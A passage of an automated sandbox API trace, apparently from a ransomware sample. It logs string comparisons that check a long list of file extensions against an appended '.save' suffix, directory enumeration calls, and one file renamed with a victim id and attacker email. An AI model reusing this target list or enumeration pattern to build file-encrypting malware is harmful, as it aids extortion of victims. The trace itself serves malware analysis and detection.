lstrlenW (lpString=".asp") returned 4 [0158.973] lstrcmpiW (lpString1=".asp", lpString2="save") returned -1 [0158.973] lstrlenW (lpString=".aspx") returned 5 [0158.973] lstrcmpiW (lpString1=".aspx", lpString2=".save") returned -1 [0158.973] lstrlenW (lpString=".asr") returned 4 [0158.973] lstrcmpiW (lpString1=".asr", lpString2="save") returned -1 [0158.973] lstrlenW (lpString=".asx") returned 4 [0158.973] lstrcmpiW (lpString1=".asx", lpString2="save") returned -1 [0158.973] lstrlenW (lpString=".avi") returned 4 [0158.973] lstrcmpiW (lpString1=".avi", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".avs") returned 4 [0158.974] lstrcmpiW (lpString1=".avs", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".backup") returned 7 [0158.974] lstrcmpiW (lpString1=".backup", lpString2="m].save") returned -1 [0158.974] lstrlenW (lpString=".bak") returned 4 [0158.974] lstrcmpiW (lpString1=".bak", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".bay") returned 4 [0158.974] lstrcmpiW (lpString1=".bay", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".bd") returned 3 [0158.974] lstrcmpiW (lpString1=".bd", lpString2="ave") returned -1 [0158.974] lstrlenW (lpString=".bin") returned 4 [0158.974] lstrcmpiW (lpString1=".bin", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".bmp") returned 4 [0158.974] lstrcmpiW (lpString1=".bmp", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".bz2") returned 4 [0158.974] lstrcmpiW (lpString1=".bz2", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".c") returned 2 [0158.974] lstrcmpiW (lpString1=".c", lpString2="ve") returned -1 [0158.974] lstrlenW (lpString=".cdr") returned 4 [0158.974] lstrcmpiW (lpString1=".cdr", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".cer") returned 4 [0158.974] lstrcmpiW (lpString1=".cer", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".cf") returned 3 [0158.974] lstrcmpiW (lpString1=".cf", lpString2="ave") returned -1 [0158.974] lstrlenW (lpString=".cfc") returned 4 [0158.974] lstrcmpiW (lpString1=".cfc", lpString2="save") returned -1 [0158.974] lstrlenW (lpString=".cfm") returned 4 [0158.975] lstrcmpiW (lpString1=".cfm", lpString2="save") returned -1 [0158.975] lstrlenW (lpString=".cfml") returned 5 [0158.975] lstrcmpiW (lpString1=".cfml", lpString2=".save") returned -1 [0158.975] lstrlenW (lpString=".cfu") returned 4 [0158.975] lstrcmpiW (lpString1=".cfu", lpString2="save") returned -1 [0158.975] lstrlenW (lpString=".chm") returned 4 [0158.975] lstrcmpiW (lpString1=".chm", lpString2="save") returned -1 [0158.975] lstrlenW (lpString=".cin") returned 4 [0158.975] lstrcmpiW (lpString1=".cin", lpString2="save") returned -1 [0158.975] lstrlenW (lpString=".class") returned 6 [0158.975] lstrcmpiW (lpString1=".class", lpString2="].save") returned -1 [0158.975] lstrlenW (lpString=".clx") returned 4 [0158.975] lstrcmpiW (lpString1=".clx", lpString2="save") returned -1 [0158.975] lstrlenW (lpString=".config") returned 7 [0158.975] lstrcmpiW (lpString1=".config", lpString2="m].save") returned -1 [0158.975] lstrlenW (lpString=".cpp") returned 4 [0158.975] lstrcmpiW (lpString1=".cpp", lpString2="save") returned -1 [0158.975] lstrlenW (lpString=".cr2") returned 4 [0158.975] lstrcmpiW (lpString1=".cr2", lpString2="save") returned -1 [0158.975] lstrlenW (lpString=".crt") returned 4 [0158.975] lstrcmpiW (lpString1=".crt", lpString2="save") returned -1 [0158.975] lstrlenW (lpString=".crw") returned 4 [0158.975] lstrcmpiW (lpString1=".crw", lpString2="save") returned -1 [0158.975] lstrlenW (lpString=".cs") returned 3 [0158.975] lstrcmpiW (lpString1=".cs", lpString2="ave") returned -1 [0158.975] lstrlenW (lpString=".css") returned 4 [0158.976] lstrcmpiW (lpString1=".css", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".csv") returned 4 [0158.976] lstrcmpiW (lpString1=".csv", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".cub") returned 4 [0158.976] lstrcmpiW (lpString1=".cub", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".dae") returned 4 [0158.976] lstrcmpiW (lpString1=".dae", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".dat") returned 4 [0158.976] lstrcmpiW (lpString1=".dat", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".db") returned 3 [0158.976] lstrcmpiW (lpString1=".db", lpString2="ave") returned -1 [0158.976] lstrlenW (lpString=".dbf") returned 4 [0158.976] lstrcmpiW (lpString1=".dbf", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".dbx") returned 4 [0158.976] lstrcmpiW (lpString1=".dbx", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".dc3") returned 4 [0158.976] lstrcmpiW (lpString1=".dc3", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".dcm") returned 4 [0158.976] lstrcmpiW (lpString1=".dcm", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".dcr") returned 4 [0158.976] lstrcmpiW (lpString1=".dcr", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".der") returned 4 [0158.976] lstrcmpiW (lpString1=".der", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".dib") returned 4 [0158.976] lstrcmpiW (lpString1=".dib", lpString2="save") returned -1 [0158.976] lstrlenW (lpString=".dic") returned 4 [0158.977] lstrcmpiW (lpString1=".dic", lpString2="save") returned -1 [0158.977] lstrlenW (lpString=".dif") returned 4 [0158.977] lstrcmpiW (lpString1=".dif", lpString2="save") returned -1 [0158.977] lstrlenW (lpString=".divx") returned 5 [0158.977] lstrcmpiW (lpString1=".divx", lpString2=".save") returned -1 [0158.977] lstrlenW (lpString=".djvu") returned 5 [0158.977] lstrcmpiW (lpString1=".djvu", lpString2=".save") returned -1 [0158.977] lstrlenW (lpString=".dng") returned 4 [0158.977] lstrcmpiW (lpString1=".dng", lpString2="save") returned -1 [0158.977] lstrlenW (lpString=".doc") returned 4 [0158.977] lstrcmpiW (lpString1=".doc", lpString2="save") returned -1 [0158.977] lstrlenW (lpString=".docm") returned 5 [0158.977] lstrcmpiW (lpString1=".docm", lpString2=".save") returned -1 [0158.977] lstrlenW (lpString=".docx") returned 5 [0158.977] lstrcmpiW (lpString1=".docx", lpString2=".save") returned -1 [0158.977] lstrlenW (lpString=".dot") returned 4 [0158.977] lstrcmpiW (lpString1=".dot", lpString2="save") returned -1 [0158.977] lstrlenW (lpString=".dotm") returned 5 [0158.977] lstrcmpiW (lpString1=".dotm", lpString2=".save") returned -1 [0158.977] lstrlenW (lpString=".dotx") returned 5 [0158.977] lstrcmpiW (lpString1=".dotx", lpString2=".save") returned -1 [0158.977] lstrlenW (lpString=".dpx") returned 4 [0158.977] lstrcmpiW (lpString1=".dpx", lpString2="save") returned -1 [0158.977] lstrlenW (lpString=".dqy") returned 4 [0158.977] lstrcmpiW (lpString1=".dqy", lpString2="save") returned -1 [0158.977] lstrlenW (lpString=".dsn") returned 4 [0158.977] lstrcmpiW (lpString1=".dsn", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".dt") returned 3 [0158.978] lstrcmpiW (lpString1=".dt", lpString2="ave") returned -1 [0158.978] lstrlenW (lpString=".dtd") returned 4 [0158.978] lstrcmpiW (lpString1=".dtd", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".dwg") returned 4 [0158.978] lstrcmpiW (lpString1=".dwg", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".dwt") returned 4 [0158.978] lstrcmpiW (lpString1=".dwt", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".dx") returned 3 [0158.978] lstrcmpiW (lpString1=".dx", lpString2="ave") returned -1 [0158.978] lstrlenW (lpString=".dxf") returned 4 [0158.978] lstrcmpiW (lpString1=".dxf", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".edml") returned 5 [0158.978] lstrcmpiW (lpString1=".edml", lpString2=".save") returned -1 [0158.978] lstrlenW (lpString=".efd") returned 4 [0158.978] lstrcmpiW (lpString1=".efd", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".elf") returned 4 [0158.978] lstrcmpiW (lpString1=".elf", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".emf") returned 4 [0158.978] lstrcmpiW (lpString1=".emf", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".emz") returned 4 [0158.978] lstrcmpiW (lpString1=".emz", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".epf") returned 4 [0158.978] lstrcmpiW (lpString1=".epf", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".eps") returned 4 [0158.978] lstrcmpiW (lpString1=".eps", lpString2="save") returned -1 [0158.978] lstrlenW (lpString=".epsf") returned 5 [0158.979] lstrcmpiW (lpString1=".epsf", lpString2=".save") returned -1 [0158.979] lstrlenW (lpString=".epsp") returned 5 [0158.979] lstrcmpiW (lpString1=".epsp", lpString2=".save") returned -1 [0158.979] lstrlenW (lpString=".erf") returned 4 [0158.979] lstrcmpiW (lpString1=".erf", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".exr") returned 4 [0158.979] lstrcmpiW (lpString1=".exr", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".f4v") returned 4 [0158.979] lstrcmpiW (lpString1=".f4v", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".fido") returned 5 [0158.979] lstrcmpiW (lpString1=".fido", lpString2=".save") returned -1 [0158.979] lstrlenW (lpString=".flm") returned 4 [0158.979] lstrcmpiW (lpString1=".flm", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".flv") returned 4 [0158.979] lstrcmpiW (lpString1=".flv", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".frm") returned 4 [0158.979] lstrcmpiW (lpString1=".frm", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".fxg") returned 4 [0158.979] lstrcmpiW (lpString1=".fxg", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".geo") returned 4 [0158.979] lstrcmpiW (lpString1=".geo", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".gif") returned 4 [0158.979] lstrcmpiW (lpString1=".gif", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".grs") returned 4 [0158.979] lstrcmpiW (lpString1=".grs", lpString2="save") returned -1 [0158.979] lstrlenW (lpString=".gz") returned 3 [0158.980] lstrcmpiW (lpString1=".gz", lpString2="ave") returned -1 [0158.980] lstrlenW (lpString=".h") returned 2 [0158.980] lstrcmpiW (lpString1=".h", lpString2="ve") returned -1 [0158.980] lstrlenW (lpString=".hdr") returned 4 [0158.980] lstrcmpiW (lpString1=".hdr", lpString2="save") returned -1 [0158.980] lstrlenW (lpString=".hpp") returned 4 [0158.980] lstrcmpiW (lpString1=".hpp", lpString2="save") returned -1 [0158.980] lstrlenW (lpString=".hta") returned 4 [0158.980] lstrcmpiW (lpString1=".hta", lpString2="save") returned -1 [0158.980] lstrlenW (lpString=".htc") returned 4 [0158.980] lstrcmpiW (lpString1=".htc", lpString2="save") returned -1 [0158.980] lstrlenW (lpString=".htm") returned 4 [0158.980] lstrcmpiW (lpString1=".htm", lpString2="save") returned -1 [0158.980] lstrlenW (lpString=".html") returned 5 [0158.980] lstrcmpiW (lpString1=".html", lpString2=".save") returned -1 [0158.980] lstrlenW (lpString=".icb") returned 4 [0158.980] lstrcmpiW (lpString1=".icb", lpString2="save") returned -1 [0158.980] lstrlenW (lpString=".ics") returned 4 [0158.980] lstrcmpiW (lpString1=".ics", lpString2="save") returned -1 [0158.980] lstrlenW (lpString=".iff") returned 4 [0158.980] lstrcmpiW (lpString1=".iff", lpString2="save") returned -1 [0158.980] lstrlenW (lpString=".inc") returned 4 [0158.980] lstrcmpiW (lpString1=".inc", lpString2="save") returned -1 [0158.980] lstrlenW (lpString=".indd") returned 5 [0158.980] lstrcmpiW (lpString1=".indd", lpString2=".save") returned -1 [0158.981] lstrlenW (lpString=".ini") returned 4 [0158.981] lstrcmpiW (lpString1=".ini", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".iqy") returned 4 [0158.981] lstrcmpiW (lpString1=".iqy", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".j2c") returned 4 [0158.981] lstrcmpiW (lpString1=".j2c", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".j2k") returned 4 [0158.981] lstrcmpiW (lpString1=".j2k", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".java") returned 5 [0158.981] lstrcmpiW (lpString1=".java", lpString2=".save") returned -1 [0158.981] lstrlenW (lpString=".jp2") returned 4 [0158.981] lstrcmpiW (lpString1=".jp2", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".jpc") returned 4 [0158.981] lstrcmpiW (lpString1=".jpc", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".jpe") returned 4 [0158.981] lstrcmpiW (lpString1=".jpe", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".jpeg") returned 5 [0158.981] lstrcmpiW (lpString1=".jpeg", lpString2=".save") returned -1 [0158.981] lstrlenW (lpString=".jpf") returned 4 [0158.981] lstrcmpiW (lpString1=".jpf", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".jpg") returned 4 [0158.981] lstrcmpiW (lpString1=".jpg", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".jpx") returned 4 [0158.981] lstrcmpiW (lpString1=".jpx", lpString2="save") returned -1 [0158.981] lstrlenW (lpString=".js") returned 3 [0158.981] lstrcmpiW (lpString1=".js", lpString2="ave") returned -1 [0158.981] lstrlenW (lpString=".jsf") returned 4 [0158.982] lstrcmpiW (lpString1=".jsf", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".json") returned 5 [0158.982] lstrcmpiW (lpString1=".json", lpString2=".save") returned -1 [0158.982] lstrlenW (lpString=".jsp") returned 4 [0158.982] lstrcmpiW (lpString1=".jsp", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".kdc") returned 4 [0158.982] lstrcmpiW (lpString1=".kdc", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".kmz") returned 4 [0158.982] lstrcmpiW (lpString1=".kmz", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".kwm") returned 4 [0158.982] lstrcmpiW (lpString1=".kwm", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".lasso") returned 6 [0158.982] lstrcmpiW (lpString1=".lasso", lpString2="].save") returned -1 [0158.982] lstrlenW (lpString=".lbi") returned 4 [0158.982] lstrcmpiW (lpString1=".lbi", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".lgf") returned 4 [0158.982] lstrcmpiW (lpString1=".lgf", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".lgp") returned 4 [0158.982] lstrcmpiW (lpString1=".lgp", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".log") returned 4 [0158.982] lstrcmpiW (lpString1=".log", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".m1v") returned 4 [0158.982] lstrcmpiW (lpString1=".m1v", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".m4a") returned 4 [0158.982] lstrcmpiW (lpString1=".m4a", lpString2="save") returned -1 [0158.982] lstrlenW (lpString=".m4v") returned 4 [0158.983] lstrcmpiW (lpString1=".m4v", lpString2="save") returned -1 [0158.983] lstrlenW (lpString=".max") returned 4 [0158.983] lstrcmpiW (lpString1=".max", lpString2="save") returned -1 [0158.983] lstrlenW (lpString=".md") returned 3 [0158.983] lstrcmpiW (lpString1=".md", lpString2="ave") returned -1 [0158.983] lstrlenW (lpString=".mda") returned 4 [0158.983] lstrcmpiW (lpString1=".mda", lpString2="save") returned -1 [0158.983] lstrlenW (lpString=".mdb") returned 4 [0158.983] lstrcmpiW (lpString1=".mdb", lpString2="save") returned -1 [0158.983] lstrlenW (lpString=".mde") returned 4 [0158.983] lstrcmpiW (lpString1=".mde", lpString2="save") returned -1 [0158.983] lstrlenW (lpString=".mdf") returned 4 [0158.983] lstrcmpiW (lpString1=".mdf", lpString2="save") returned -1 [0158.983] lstrlenW (lpString=".mdw") returned 4 [0159.170] lstrcmpiW (lpString1=".mdw", lpString2="save") returned -1 [0159.170] lstrlenW (lpString=".mef") returned 4 [0159.170] lstrcmpiW (lpString1=".mef", lpString2="save") returned -1 [0159.170] lstrlenW (lpString=".mft") returned 4 [0159.170] lstrcmpiW (lpString1=".mft", lpString2="save") returned -1 [0159.170] lstrlenW (lpString=".mfw") returned 4 [0159.170] lstrcmpiW (lpString1=".mfw", lpString2="save") returned -1 [0159.170] lstrlenW (lpString=".mht") returned 4 [0159.170] lstrcmpiW (lpString1=".mht", lpString2="save") returned -1 [0159.170] lstrlenW (lpString=".mhtml") returned 6 [0159.170] lstrcmpiW (lpString1=".mhtml", lpString2="].save") returned -1 [0159.170] lstrlenW (lpString=".mka") returned 4 [0159.170] lstrcmpiW (lpString1=".mka", lpString2="save") returned -1 [0159.170] lstrlenW (lpString=".mkidx") returned 6 [0159.170] lstrcmpiW (lpString1=".mkidx", lpString2="].save") returned -1 [0159.170] lstrlenW (lpString=".mkv") returned 4 [0159.170] lstrcmpiW (lpString1=".mkv", lpString2="save") returned -1 [0159.170] lstrlenW (lpString=".mos") returned 4 [0159.170] lstrcmpiW (lpString1=".mos", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".mov") returned 4 [0159.171] lstrcmpiW (lpString1=".mov", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".mp3") returned 4 [0159.171] lstrcmpiW (lpString1=".mp3", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".mp4") returned 4 [0159.171] lstrcmpiW (lpString1=".mp4", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".mpeg") returned 5 [0159.171] lstrcmpiW (lpString1=".mpeg", lpString2=".save") returned -1 [0159.171] lstrlenW (lpString=".mpg") returned 4 [0159.171] lstrcmpiW (lpString1=".mpg", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".mpv") returned 4 [0159.171] lstrcmpiW (lpString1=".mpv", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".mrw") returned 4 [0159.171] lstrcmpiW (lpString1=".mrw", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".msg") returned 4 [0159.171] lstrcmpiW (lpString1=".msg", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".mxl") returned 4 [0159.171] lstrcmpiW (lpString1=".mxl", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".myd") returned 4 [0159.171] lstrcmpiW (lpString1=".myd", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".myi") returned 4 [0159.171] lstrcmpiW (lpString1=".myi", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".nef") returned 4 [0159.171] lstrcmpiW (lpString1=".nef", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".nrw") returned 4 [0159.171] lstrcmpiW (lpString1=".nrw", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".obj") returned 4 [0159.171] lstrcmpiW (lpString1=".obj", lpString2="save") returned -1 [0159.171] lstrlenW (lpString=".odb") returned 4 [0159.172] lstrcmpiW (lpString1=".odb", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".odc") returned 4 [0159.172] lstrcmpiW (lpString1=".odc", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".odm") returned 4 [0159.172] lstrcmpiW (lpString1=".odm", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".odp") returned 4 [0159.172] lstrcmpiW (lpString1=".odp", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".ods") returned 4 [0159.172] lstrcmpiW (lpString1=".ods", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".oft") returned 4 [0159.172] lstrcmpiW (lpString1=".oft", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".one") returned 4 [0159.172] lstrcmpiW (lpString1=".one", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".onepkg") returned 7 [0159.172] lstrcmpiW (lpString1=".onepkg", lpString2="m].save") returned -1 [0159.172] lstrlenW (lpString=".onetoc2") returned 8 [0159.172] lstrcmpiW (lpString1=".onetoc2", lpString2="om].save") returned -1 [0159.172] lstrlenW (lpString=".opt") returned 4 [0159.172] lstrcmpiW (lpString1=".opt", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".oqy") returned 4 [0159.172] lstrcmpiW (lpString1=".oqy", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".orf") returned 4 [0159.172] lstrcmpiW (lpString1=".orf", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".p12") returned 4 [0159.172] lstrcmpiW (lpString1=".p12", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".p7b") returned 4 [0159.172] lstrcmpiW (lpString1=".p7b", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".p7c") returned 4 [0159.172] lstrcmpiW (lpString1=".p7c", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".pam") returned 4 [0159.172] lstrcmpiW (lpString1=".pam", lpString2="save") returned -1 [0159.172] lstrlenW (lpString=".pbm") returned 4 [0159.173] lstrcmpiW (lpString1=".pbm", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pct") returned 4 [0159.173] lstrcmpiW (lpString1=".pct", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pcx") returned 4 [0159.173] lstrcmpiW (lpString1=".pcx", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pdd") returned 4 [0159.173] lstrcmpiW (lpString1=".pdd", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pdf") returned 4 [0159.173] lstrcmpiW (lpString1=".pdf", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pdp") returned 4 [0159.173] lstrcmpiW (lpString1=".pdp", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pef") returned 4 [0159.173] lstrcmpiW (lpString1=".pef", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pem") returned 4 [0159.173] lstrcmpiW (lpString1=".pem", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pff") returned 4 [0159.173] lstrcmpiW (lpString1=".pff", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pfm") returned 4 [0159.173] lstrcmpiW (lpString1=".pfm", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pfx") returned 4 [0159.173] lstrcmpiW (lpString1=".pfx", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".pgm") returned 4 [0159.173] lstrcmpiW (lpString1=".pgm", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".php") returned 4 [0159.173] lstrcmpiW (lpString1=".php", lpString2="save") returned -1 [0159.173] lstrlenW (lpString=".php3") returned 5 [0159.173] lstrcmpiW (lpString1=".php3", lpString2=".save") returned -1 [0159.173] lstrlenW (lpString=".php4") returned 5 [0159.173] lstrcmpiW (lpString1=".php4", lpString2=".save") returned -1 [0159.173] lstrlenW (lpString=".php5") returned 5 [0159.173] lstrcmpiW (lpString1=".php5", lpString2=".save") returned -1 [0159.173] lstrlenW (lpString=".phtml") returned 6 [0159.173] lstrcmpiW (lpString1=".phtml", lpString2="].save") returned -1 [0159.174] lstrlenW (lpString=".pict") returned 5 [0159.174] lstrcmpiW (lpString1=".pict", lpString2=".save") returned -1 [0159.174] lstrlenW (lpString=".pl") returned 3 [0159.174] lstrcmpiW (lpString1=".pl", lpString2="ave") returned -1 [0159.174] lstrlenW (lpString=".pls") returned 4 [0159.174] lstrcmpiW (lpString1=".pls", lpString2="save") returned -1 [0159.174] lstrlenW (lpString=".pm") returned 3 [0159.174] lstrcmpiW (lpString1=".pm", lpString2="ave") returned -1 [0159.174] lstrlenW (lpString=".png") returned 4 [0159.174] lstrcmpiW (lpString1=".png", lpString2="save") returned -1 [0159.174] lstrlenW (lpString=".pnm") returned 4 [0159.174] lstrcmpiW (lpString1=".pnm", lpString2="save") returned -1 [0159.174] lstrlenW (lpString=".pot") returned 4 [0159.174] lstrcmpiW (lpString1=".pot", lpString2="save") returned -1 [0159.174] lstrlenW (lpString=".potm") returned 5 [0159.174] lstrcmpiW (lpString1=".potm", lpString2=".save") returned -1 [0159.174] lstrlenW (lpString=".potx") returned 5 [0159.174] lstrcmpiW (lpString1=".potx", lpString2=".save") returned -1 [0159.174] lstrlenW (lpString=".ppa") returned 4 [0159.174] lstrcmpiW (lpString1=".ppa", lpString2="save") returned -1 [0159.174] lstrlenW (lpString=".ppam") returned 5 [0159.174] lstrcmpiW (lpString1=".ppam", lpString2=".save") returned -1 [0159.174] lstrlenW (lpString=".ppm") returned 4 [0159.174] lstrcmpiW (lpString1=".ppm", lpString2="save") returned -1 [0159.174] lstrlenW (lpString=".pps") returned 4 [0159.174] lstrcmpiW (lpString1=".pps", lpString2="save") returned -1 [0159.174] lstrlenW (lpString=".ppsm") returned 5 [0159.174] lstrcmpiW (lpString1=".ppsm", lpString2=".save") returned -1 [0159.174] lstrlenW (lpString=".ppt") returned 4 [0159.174] lstrcmpiW (lpString1=".ppt", lpString2="save") returned -1 [0159.174] lstrlenW (lpString=".pptm") returned 5 [0159.174] lstrcmpiW (lpString1=".pptm", lpString2=".save") returned -1 [0159.175] lstrlenW (lpString=".pptx") returned 5 [0159.175] lstrcmpiW (lpString1=".pptx", lpString2=".save") returned -1 [0159.175] lstrlenW (lpString=".prn") returned 4 [0159.175] lstrcmpiW (lpString1=".prn", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".ps") returned 3 [0159.175] lstrcmpiW (lpString1=".ps", lpString2="ave") returned -1 [0159.175] lstrlenW (lpString=".psb") returned 4 [0159.175] lstrcmpiW (lpString1=".psb", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".psd") returned 4 [0159.175] lstrcmpiW (lpString1=".psd", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".pst") returned 4 [0159.175] lstrcmpiW (lpString1=".pst", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".ptx") returned 4 [0159.175] lstrcmpiW (lpString1=".ptx", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".pub") returned 4 [0159.175] lstrcmpiW (lpString1=".pub", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".pwm") returned 4 [0159.175] lstrcmpiW (lpString1=".pwm", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".pxr") returned 4 [0159.175] lstrcmpiW (lpString1=".pxr", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".py") returned 3 [0159.175] lstrcmpiW (lpString1=".py", lpString2="ave") returned -1 [0159.175] lstrlenW (lpString=".qt") returned 3 [0159.175] lstrcmpiW (lpString1=".qt", lpString2="ave") returned -1 [0159.175] lstrlenW (lpString=".r3d") returned 4 [0159.175] lstrcmpiW (lpString1=".r3d", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".raf") returned 4 [0159.175] lstrcmpiW (lpString1=".raf", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".rar") returned 4 [0159.175] lstrcmpiW (lpString1=".rar", lpString2="save") returned -1 [0159.175] lstrlenW (lpString=".raw") returned 4 [0159.175] lstrcmpiW (lpString1=".raw", lpString2="save") returned -1 [0159.176] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7e38b7a, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7e38b7a, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e38b7a, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0159.176] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0159.176] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0159.176] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0159.177] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0159.177] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x4531900 [0159.198] FindNextFileW (in: hFindFile=0x4531900, 